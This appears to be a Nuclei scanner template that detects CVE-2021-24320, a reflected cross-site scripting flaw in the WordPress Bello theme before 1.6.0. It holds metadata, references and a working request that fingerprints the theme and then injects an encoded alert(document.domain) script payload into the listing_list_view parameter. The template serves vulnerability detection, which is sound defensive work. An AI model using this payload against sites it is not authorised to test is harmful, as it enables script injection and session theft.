WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting

id: CVE-2021-24320

info:
  name: WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.
  reference:
    - https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt
    - https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24320
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24320
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45256
    cpe: cpe:2.3:a:bold-themes:bello:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: bold-themes
    product: bello
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,bold-themes

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'
      - '{{BaseURL}}/wp-content/themes/bello/readme.txt'

    stop-at-first-match: true
    matchers:
      - type: word
        internal: true
        words:
          - 'wp-content/themes/bello/fonts'
          - 'bold-themes.com/bello'
        condition: or

  - method: GET
    path:
      - '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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